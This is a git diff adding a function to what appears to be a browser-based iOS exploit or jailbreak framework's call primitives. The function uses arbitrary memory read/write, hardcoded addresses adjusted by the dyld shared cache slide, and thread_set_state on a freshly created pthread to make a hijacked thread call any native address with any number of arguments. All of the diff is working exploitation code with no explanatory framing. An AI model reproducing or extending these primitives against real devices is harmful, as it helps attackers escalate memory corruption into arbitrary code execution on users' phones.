1 files changed, 60 insertions, 0 deletions
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 996f5a8..687e758 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -97,3 +97,63 @@ function calls4arg(sym, r0, r1, r2, r3) {
 	}
 	return call4arg(addy, r0, r1, r2, r3);
 }
+
+function callnarg() {
+	if (arguments.length < 1) {
+		return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
+	}
+
+	mytask = 0;
+	count = 0x130000;
+	th = 0x130100;
+//	thread_state_ptr = 0x130008;
+	thread_state = 0x130200;
+	countptr = 0x131000;
+	thptr = 0x131004;
+	thread_stateptr = 0x131008;
+	thread = 0x130300;
+	threadptr = 0x132300;
+	threadptrptr = 0x133300;
+
+	countptrptr = 0x132000;
+	thptrptr = 0x132004;
+	thread_stateptrptr = 0x132008;
+
+	var stack_shit = 0x161000;
+
+	write_u32(countptr, count);
+	write_u32(thptr, th);
+	write_u32(threadptr, thread);
+	write_u32(thread_stateptr, thread_state);
+
+	write_u32(countptrptr, countptr);
+	write_u32(thptrptr, thptr);
+	write_u32(threadptrptr, threadptr);
+	write_u32(thread_stateptrptr, thread_stateptr);	
+
+	var addy = arguments[0];
+
+	var dyld_shc_slide = get_dyld_shc_slide();
+
+	write_u32(0x346afc48 + dyld_shc_slide, 0x23d751fc + dyld_shc_slide);
+
+	calls4arg("pthread_create", threadptr, 0, 0x23d751fc + dyld_shc_slide, 0);
+	var thread = read_u32(threadptr);
+	write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+
+	for (var i = 1; i < arguments.length; i++) {
+		if (i <= 4) {
+			write_u32(thread_state + ((i - 1) << 2), arguments[i]);
+		} else {
+			write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
+		}
+	}
+
+	write_u32(thread_state + (13 << 2), stack_shit);
+	write_u32(thread_state + (14 << 2), 0x23d751fc + dyld_shc_slide);
+	write_u32(thread_state + (15 << 2), addy);
+	write_u32(thread_state + (16 << 2), 0x40000020);
+
+	calls4arg("thread_set_state", read_u32(th), ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+	calls4arg("thread_resume", read_u32(th), 0, 0, 0);
+}
+\ No newline at end of file